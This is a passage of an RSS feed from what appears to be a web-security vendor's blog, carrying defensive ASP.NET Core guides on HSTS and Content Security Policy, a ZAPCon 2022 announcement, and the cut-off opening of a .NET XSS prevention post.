&lt;/p&gt;&lt;p&gt;Furthermore, few things are as critical as ensuring that our platforms are stable and that our users&amp;#39; information is secure. Doing so is a process that&amp;#39;s getting more involved and more sensitive. To illustrate, &lt;a href=&quot;https://sdtimes.com/security/broken-access-control-is-now-the-highest-vulnerability-in-owasp-top-10-2021/&quot;&gt;&lt;u&gt;SD Times&lt;/u&gt;&lt;/a&gt; says that broken access control was the highest vulnerability in OWASP&amp;#39;s top 10 of 2021. &lt;/p&gt;&lt;p&gt;Developers should be concerned about this. But despite all its complexity, delivering effective access control can be fairly straightforward, as outlined in this post.  &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Implementing complex rules and mitigation policies for our platforms has become necessary in the last decades. &lt;/p&gt;&lt;p&gt;A lot has changed in terms of the intricacies of today&amp;#39;s web. And, of course, we wouldn&amp;#39;t dare to claim that 100% of the web is secure against the threats popping up daily. &lt;/p&gt;&lt;p&gt;Still, there is a significant movement from the security community to keep making security measures on the web more robust and effective against these threats. However, not all security measures are created equal. For example, one of the essential features to protect our users is HTTP Strict Transport Security, or HSTS.&lt;/p&gt;&lt;p&gt;The goal of this article is to explore the concepts of HSTS. &lt;/p&gt;&lt;p&gt;We&amp;#39;ll briefly define what HSTS is and what makes it fundamental to secure communication between your server and the client, explore how to implement this security feature, and review some of the complications that might arise.&lt;/p&gt;&lt;p&gt;By the end, you should understand what HSTS is and how to incorporate it into your projects.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note: &lt;/b&gt;This article is aimed at .NET developers, and thus, we will be exploring how to implement solutions to HSTS on the ASP.NET Core development stack. This means that to get the most out of this article, you need experience working with C# and ASP.NET.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re interested in the concepts of HSTS in general, we recommend you check our other articles on the topic focused on the technology stack of your preference.&lt;/p&gt;&lt;p&gt;With that out of the way, let&amp;#39;s dive in.&lt;/p&gt;&lt;h2&gt;Explaining HTTP Strict Transport Security&lt;/h2&gt;&lt;p&gt;The following explanation will be technical and is relatively standard on all platforms, but bear with me.&lt;/p&gt;&lt;p&gt;Since its inception, encryption has been the first line of defense for protecting data from malicious users. Therefore, our job as developers is to ensure all transactions on our websites are encrypted with the proper protocols.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;While the web &lt;b&gt;encrypts and secures client-server transactions with SSL/TLS protocols&lt;/b&gt;, whether your transactions are protected is an entirely different matter.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Here&amp;#39;s how the standard communication flow goes:&lt;/p&gt;&lt;p&gt;The communication flow between a website and a user first requires an HTTP request to the domain.&lt;/p&gt;&lt;p&gt;Then, if the server in question implements SSL/TLS with a valid certificate and enforces HTTPS rerouting, the user will be redirected (301) to the same site with an HTTPS request. &lt;/p&gt;&lt;p&gt;This flow ensures that all communication between the client and server is done securely through encryption.&lt;/p&gt;&lt;p&gt;Except, no, not really.&lt;/p&gt;&lt;h3&gt;MITM Attack&lt;/h3&gt;&lt;p&gt;We&amp;#39;ve discussed man-in-the-middle (MITM) attacks &lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;in previous posts&lt;/u&gt;&lt;/a&gt;, but here&amp;#39;s a refresher. &lt;/p&gt;&lt;p&gt;A trusting user tries to access our website by reaching our server through a compromised network (a counterfeit access point concealed as legitimate). &lt;/p&gt;&lt;p&gt;In this case, the initial handshake can open the victim to vulnerabilities in the following way. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The attacker intercepts the communication between client and server, acting as the man in the middle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;He then rewrites all transactions between himself and the victim to be unencrypted.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Consequently, all transactions between the attacker and the server remain encrypted, misleading the server to believe the victim is protected.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Meanwhile, the attacker intersects all data the victim sends to our server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Profit.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This attack is known as SSL stripping. It works by allowing the attacker to act as a communication intermediary. The attacker can then dictate the victim&amp;#39;s security protocol, basically striping the client of any encryption security.&lt;/p&gt;&lt;p&gt;Not good.&lt;/p&gt;&lt;h3&gt;Our Options&lt;/h3&gt;&lt;p&gt;As we can see, the most critical step in this attack is the initial handshake that the victim performs at the beginning. So, to prevent this exploit from occurring, we need to ensure that the users&amp;#39; browser communicates with our server using encryption exclusively. And the most effective way to do that is, well, to explicitly instruct the browser to do so. &lt;/p&gt;&lt;p&gt;This flow is, in essence, what HTTP Strict Transport Security represents, and it is one of the cornerstones of web security.&lt;/p&gt;&lt;h2&gt;The Basics&lt;/h2&gt;&lt;p&gt;Now that all the theory is out of the way, let&amp;#39;s explore how we can secure our websites.&lt;/p&gt;&lt;p&gt;The good news is that, for the most part, our browsers&amp;#39; built-in security features get us most of the way there. All we need to do to implement the primary layer of security with HSTS is add the following header to your server responses.&lt;/p&gt;&lt;p&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains; preload&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;HSTS headers contain three directives, one compulsory and two optional. Again, this should be familiar to you if you&amp;#39;ve read &lt;a href=&quot;https://www.stackhawk.com/blog/rails-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;one of our previous posts on HSTS&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;max-age&lt;/b&gt;: This states how long the browser will comply with the policy. Notice that we have set the value as 31536000, which equals one year. You can put any value you consider appropriate, but remember that your clients won&amp;#39;t be able to access your site if there&amp;#39;s an issue with your SSL certificate once the browser receives the HSTS policy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;includeSubDomains&lt;/b&gt;: This optional directive states whether the subdomains will need to comply with the policy. If you have mywebsite.com with an SSL certificate and set the header for clients who visit it, then www.mywebsite.com and subdomain.mywebsite.com will also be required to follow the same HSTS policy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;preload&lt;/b&gt;: This optional directive states that you want to add your site to the HSTS preload list included in the browser. This list essentially cements your website to follow HSTS for that client permanently.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Securing Your ASP.NET Core Project&lt;/h3&gt;&lt;p&gt;You have two options for adding the HSTS header to an ASP.NET core project:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Implement HTTPS Redirection Middleware (&lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.builder.httpspolicybuilderextensions.usehttpsredirection&quot;&gt;&lt;u&gt;UseHttpsRedirection&lt;/u&gt;&lt;/a&gt;) to redirect HTTP requests to HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement HSTS Middleware (&lt;a href=&quot;https://docs.microsoft.com/en-us/aspnet/core/security/enforcing-ssl?view=aspnetcore-6.0#http-strict-transport-security-protocol-hsts&quot;&gt;&lt;u&gt;UseHsts&lt;/u&gt;&lt;/a&gt;) to send clients HTTP Strict Transport Security Protocol (HSTS) headers.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To use the &lt;b&gt;UseHttpsRedirection&lt;/b&gt; method, modify your &lt;b&gt;Program.cs&lt;/b&gt; file with the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.UseHttpsRedirection();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Additionally, we need to set a port for the middleware to redirect an insecure request to HTTPS. &lt;/p&gt;&lt;p&gt;If no port is available, the page won&amp;#39;t redirect to HTTPS, and the middleware logs the warning &amp;quot;Failed to determine the https port for redirect.&amp;quot;&lt;/p&gt;&lt;p&gt;By adding the following directive to the &lt;b&gt;appsettings.json&lt;/b&gt; file, you can easily do that.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;For the second route, you can add the HSTS middleware with the following code in the &lt;b&gt;Program.cs&lt;/b&gt; file.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Of course, just because you know how to apply an HSTS header to a page doesn&amp;#39;t mean your website can enforce the policy. For example, if your website isn&amp;#39;t compatible with HSTS, you&amp;#39;ll get this message:&lt;/p&gt;&lt;p&gt;As we can see, an error prevents our browser from displaying the page. &lt;/p&gt;&lt;p&gt;Although the server we attempted to access indicates that the communication is encrypted, our browser received some suspicious information and cut the connection.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Understanding HSTS Errors&lt;/h2&gt;&lt;p&gt;Once we see the error message the browser is providing us, we can have an idea of the possible origins of the problem. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The suspicious activity could be from an attacker trying to impersonate the server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A WiFi login screen could be interfering with the loading process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The server doesn&amp;#39;t have the correct SSL/TLS configuration.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Our first course of action should be to ensure that we set up encryption correctly. Also, if we are deploying HSTS for the first time, we must have a proper implementation plan.&lt;/p&gt;&lt;p&gt;Taking some notes from &lt;a href=&quot;https://scotthelme.co.uk/hsts-cheat-sheet/&quot;&gt;&lt;u&gt;Scott Helme&lt;/u&gt;&lt;/a&gt;&amp;#39;s HSTS tutorial, here&amp;#39;s a checklist of steps to follow.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Find all subdomains that belong to your site (consult DNS CNAME entries). Note that they might belong to third-party services.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Confirm that the root domain and its subdomains are accessible via HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make sure you configured proper redirection of HTTP to HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Set a short expiration time. For example, &lt;b&gt;max-age=300&lt;/b&gt; (5 minutes).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Append the &lt;b&gt;includeSubDomains&lt;/b&gt; directive if necessary.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Increment &lt;b&gt;max-age&lt;/b&gt; in stages. Strive for two years of validity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Once all is good, add the &lt;b&gt;preload&lt;/b&gt; directive.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Submit your domain to Google&amp;#39;s HSTS preload list, which will ensure that future versions of all major browsers have your domain preloaded and marked as secure-only. (Optional)&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;After following all these steps, you will have a site enforcing HTTPS communication only. From that point on, all users will obey the policy.&lt;/p&gt;&lt;h2&gt;Final Thoughts on HSTS&lt;/h2&gt;&lt;p&gt;In our quest to implement a reliable security layer for our applications, a lot has to be done to provide the necessary assurance to build a robust level of trust with our users. &lt;/p&gt;&lt;p&gt;Today&amp;#39;s web has pushed the envelope of security and standards quite far, making some solutions complex and challenging.&lt;/p&gt;&lt;p&gt;Thankfully, implementing SSL/TLS and HSTS policy is quite simple and goes a long way to protect a large portion of the web.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;With every passing day, threats get more abundant and complex. And to mitigate the impact of these threats, software companies are constantly incorporating more sophisticated and robust solutions. &lt;/p&gt;&lt;p&gt;As developers, we are responsible for ensuring that we take advantage of these solutions, adapt our software to comply with the policies, and implement the necessary measures.&lt;/p&gt;&lt;p&gt;One such measure is known as content security policy, or CSP. &lt;/p&gt;&lt;p&gt;The objective of this article is to assist in demystifying the concept of content security.&lt;/p&gt;&lt;p&gt;In this article, we will&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;briefly define what CSP is,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;illustrate how to enable CSP in our platform,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;explore some issues you might encounter in the process, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;show how to address them.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Note: &lt;/b&gt;This article is aimed at .NET developers. Please check &lt;a href=&quot;https://dotnet.microsoft.com/en-us/learn&quot;&gt;&lt;u&gt;this&lt;/u&gt;&lt;/a&gt; article if you don&amp;#39;t yet have enough experience in this development stack.&lt;/p&gt;&lt;p&gt;With that out of the way, let&amp;#39;s jump right in.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;What Is Content Security Policy?&lt;/h2&gt;&lt;p&gt;In a nutshell, CSP is a collection of policies or directives that a browser enforces on a webpage when it requests them. &lt;/p&gt;&lt;p&gt;During the process of loading a page, the browser has to request and render a significant amount of content and code to display the page.&lt;/p&gt;&lt;p&gt;This process is standard and—given that all modern websites are complex and composed of lots of HTML, CSS, JavaScript, and other resources like images and files that the code references—entirely expected.&lt;/p&gt;&lt;p&gt;This referenced code, in particular, could be from the same origin (requested domain) or another origin; browsers don&amp;#39;t distinguish. &lt;/p&gt;&lt;p&gt;Once this code is executed, the browser has to process and execute these resources without any malicious code or access data not belonging to the website in question.&lt;/p&gt;&lt;p&gt;In order to provide security during this process, the server provides a CSP through the response header to ensure that the browser executes only valid resources. &lt;/p&gt;&lt;p&gt;This security layer helps mitigate attackers from taking advantage of vulnerabilities like cross-site scripting and injection attacks by providing an allowlist of trusted resources.&lt;/p&gt;&lt;h3&gt;CSP Example&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s see what a content security policy header would look like:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39;; script-src &amp;#39;self&amp;#39;; style-src &amp;#39;self&amp;#39;; font-src &amp;#39;self&amp;#39;; img-src &amp;#39;self&amp;#39;; frame-src &amp;#39;self&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice that each section in the header is relevant to a specific kind of resource. &lt;/p&gt;&lt;p&gt;Further, the default &amp;quot;self&amp;quot; directive states that the browser must execute only resources from the same origin. &lt;/p&gt;&lt;p&gt;Note that you can specify domains from which you want to retrieve resources by putting their URLs next to &amp;quot;self.&amp;quot; &lt;/p&gt;&lt;p&gt;Finally, you can permit all domains by setting &amp;quot;*&amp;quot; (don&amp;#39;t do this unless you absolutely have to).&lt;/p&gt;&lt;h2&gt;Enabling CSP&lt;/h2&gt;&lt;p&gt;Now that we know what CSP is and have seen how it looks, let&amp;#39;s implement it into our code.&lt;/p&gt;&lt;p&gt;To implement a simple CSP policy in ASP.NET core, we just need to add the following code to the &lt;b&gt;Configure()&lt;/b&gt; method in the &lt;b&gt;Startup.cs&lt;/b&gt; file before the &lt;b&gt;UseEndpoints&lt;/b&gt; method.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code essentially creates a middleware that adds the CSP header to all responses coming from our server.&lt;/p&gt;&lt;p&gt;Now you can check that all response headers contain the CSP configuration mentioned above if they didn&amp;#39;t before. &lt;/p&gt;&lt;p&gt;The browser will enforce any changes, most likely breaking your page and displaying many alerts.&lt;/p&gt;&lt;p&gt;Implementing appropriate content security policies requires a significant number of modifications and proper testing, which will take some time. So, for now, let&amp;#39;s address the immediate errors while still having a functional site. &lt;/p&gt;&lt;p&gt;To do this, we&amp;#39;ll make use of the &lt;b&gt;Content-Security-Policy-Report-Only&lt;/b&gt; directive. Just change the code to the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Using &amp;quot;report-only&amp;quot; makes the browser no longer enforce the directives but displays the corresponding violation alerts. &lt;/p&gt;&lt;p&gt;This behavior is helpful for development environments where the platform&amp;#39;s security is not essential but the developer needs to be aware of any violations to address them adequately.&lt;/p&gt;&lt;h2&gt;Dealing With CSP Errors&lt;/h2&gt;&lt;p&gt;We know that seeing all these alerts in the browser developer console can be intimidating. But don&amp;#39;t worry. Addressing these errors is quite simple once you understand what the browser tells you.&lt;/p&gt;&lt;p&gt;The developer console report will guide you to improve the policy directive and make the necessary updates. &lt;/p&gt;&lt;p&gt;Our first step should be to confirm that the resources the browser is reporting are, in fact, legitimate and necessary for the proper functioning of the application. &lt;/p&gt;&lt;p&gt;For example, we can see that our application is requesting the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;https://code.jquery.com/jquery-3.5.1.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.29.1/moment.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/moment-timezone/0.5.31/moment-timezone-with-data.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/css/all.min.css&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.ttf&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.ttf&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.ttf&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;All these are, of course, valid resources that come from trusted origins.&lt;/p&gt;&lt;p&gt;Once you have the list of resources at hand, you can add them to the allowlist of each respective source as follows:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;By doing this, most of the alerts will go away.&lt;/p&gt;&lt;p&gt;Furthermore, if you want to enable all resources from a specific domain, you can do so by specifying the domain in the directive.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;In-line Violations&lt;/h2&gt;&lt;p&gt;Now, what about the in-line code we have in our HTML? &lt;/p&gt;&lt;p&gt;Well, there are a few things we can do to address these violations.&lt;/p&gt;&lt;p&gt;The first (recommended) approach is to move all in-line code and styles to a separate file and reference it. &lt;/p&gt;&lt;p&gt;This way, you can ensure the security of your application and keep it consistent.&lt;/p&gt;&lt;p&gt;However, if this is not possible for your case, you can move the code to a &lt;b&gt;&amp;lt;script/&amp;gt;&lt;/b&gt; or &lt;b&gt;&amp;lt;style/&amp;gt;&lt;/b&gt; tag and use an SHA hash key to tell the browser that the code in this tag is allowed. &lt;/p&gt;&lt;p&gt;You can generate the hash key by hashing the code inside the tag with a SHA256 algorithm. Conveniently, the browser already calculates this hash in the alert itself, so you can easily add it to the directive.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Additionally, if you don&amp;#39;t want to use the SHA hash, you can use what is known as a &amp;quot;nonce&amp;quot; tag attribute and add it to the corresponding tag. &lt;/p&gt;&lt;p&gt;This solution will essentially serve the same purpose but must be updated with each request with some server-side code.&lt;/p&gt;&lt;p&gt;Finally, remember to update the directive and remove the &amp;quot;report-only&amp;quot; in production once all the changes are done.&lt;/p&gt;&lt;h2&gt;Ensuring Content Security&lt;/h2&gt;&lt;p&gt;Building a robust and secure web platform requires expansive knowledge of development, infrastructure, and security fundamentals. &lt;/p&gt;&lt;p&gt;Securing our applications can be a very complicated and long journey. It&amp;#39;s easy to end up lost in a rabbit hole of articles and forums. Nevertheless, we must address security issues and exploits as much as possible. &lt;/p&gt;&lt;p&gt;Additionally, ensuring the resilience of our platforms and the security of our users&amp;#39; information is a critical issue that gets more and more complex over time.&lt;/p&gt;&lt;p&gt;.NET is a robust and straightforward platform for building powerful and flexible web applications. Moreover, it makes the work of securing against CSP exploits very clear; there&amp;#39;s no need to fiddle with complicated configurations or risky settings.&lt;/p&gt;&lt;p&gt;Furthermore, if you wish to make sure your .NET application is secure or you want to learn how to implement similar solutions in other technologies, you can find all you need in our &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;blog resources&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ZAPCon 2022 Schedule is Now Live ]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/zapcon-2022-schedule-is-now-live</guid><category><![CDATA[StackHawk News]]></category><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Simon Bennetts]]></dc:creator><content:encoded>&lt;p&gt;I am excited to share that we’ve just released the speaker lineup and schedule for the &lt;a href=&quot;https://zapcon.io/&quot;&gt;&lt;u&gt;ZAPCon&lt;/u&gt;&lt;/a&gt; 2022! ZAPCon takes place on March 8-9, with one day of talks and one day of incredible workshops. &lt;/p&gt;&lt;p&gt;On March 8, ZAPCon will bring you a full day of talks from security and ZAP industry leaders including my friend Jim Manico, the CEO and Application Security Educator at Manicode Security. The schedule is packed with topics from “Out-of-band Application Security Testing with ZAP” to “Drive-By Pentesting with ZAP Scripts” from 9am until 5pm ET.&lt;/p&gt;&lt;p&gt;On March 9, stay tuned for exclusive workshops that you can only find at ZAPCon. Hear about the latest in API Security Testing from industry experts, get a crash course in Automated Security Testing with GitHub Actions from a Senior DevOps Engineer at StackHawk, and watch my own presentation on How to Contribute to ZAP .&lt;/p&gt;&lt;p&gt;In a different timezone? No problem – we won’t let you miss out on all of these special presentations. All of the ZAPCon talks and workshops will be recorded, so you can watch them after the fact at your own pace as long as you’re &lt;a href=&quot;https://hopin.com/events/zapcon?utm_source=ZAProxy%20Blog&amp;utm_campaign=Promotion&quot;&gt;&lt;u&gt;registered for ZAPCon&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;To tee-up ZAPCon, the OWASP Foundation will be hosting a variety of &lt;a href=&quot;https://www.eventbrite.com/e/owasp-march-webinars-tickets-225237991897?utm_campaign=none&amp;utm_medium=event-page&amp;utm_source=owasp-web&quot;&gt;&lt;u&gt;training workshops&lt;/u&gt;&lt;/a&gt; on March 7. Stop by to warm up your AppSec skills before the main event begins. &lt;/p&gt;&lt;p&gt;ZAPCon is a free event, sponsored by &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. &lt;a href=&quot;https://hopin.com/events/zapcon?utm_source=ZAProxy%20Blog&amp;utm_campaign=Promotion&quot;&gt;&lt;u&gt;Register&lt;/u&gt;&lt;/a&gt; for free now. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET XSS: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-xss-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;This post will serve as a guide about .NET XSS.&lt;/p&gt;&lt;p&gt;What is this and why does it matter? Well, developing an application and putting it out there, though not an easy task, is but the first step. The second—and potentially never-ending—step is to make sure it continues to work, meeting the users&amp;#39; needs in the best possible way.&lt;/p&gt;&lt;p&gt;If that sounds simple, it&amp;#39;s anything but: there are many components involved, and security is one of the most important ones.&lt;/p&gt;&lt;p&gt;That&amp;#39;s where XSS comes in. As one of the most common security threats, it&amp;#39;s something you, as a developer, must be aware of. No programming language or stack is immune to it, and .NET surely is no exception to the rule.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll open this post with some fundamentals. You&amp;#39;ll get a brief definition of XSS, followed by an explanation of the damage it causes and how it works. After that, we&amp;#39;ll get to the .NET-specific portion of the post. You&amp;#39;ll see an example of .NET XSS and tips to protect yourself.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s get started.&lt;/p&gt;&lt;h2&gt;Requirements&lt;/h2&gt;&lt;p&gt;This post will feature a practical portion. There are a few requirements if you want to follow along:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;You&amp;#39;ll need the&lt;a href=&quot;https://dotnet.microsoft.com/en-us/download/dotnet/6.0&quot;&gt; &lt;u&gt;SDK (software development kit) for .NET 6.0&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Also, I assume you&amp;#39;re on Windows and using Visual Studio 2022. (Get the&lt;a href=&quot;https://visualstudio.microsoft.com/vs/community/&quot;&gt; &lt;u&gt;free community edition&lt;/u&gt;&lt;/a&gt; here if you don&amp;#39;t have it.)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;I expect you have some familiarity with .NET/C#.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;.NET XSS Fundamentals&lt;/h2&gt;&lt;p&gt;As promised, let&amp;#39;s open the post with some basics by answering the what, why, and how of XSS, not only in .NET but in general.&lt;/p&gt;&lt;h3&gt;What is XSS?&lt;/h3&gt;&lt;p&gt;XSS stands for&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt; &lt;u&gt;cross-site scripting&lt;/u&gt;&lt;/a&gt;. It&amp;#39;s a type of injection attack. An injection attack, as 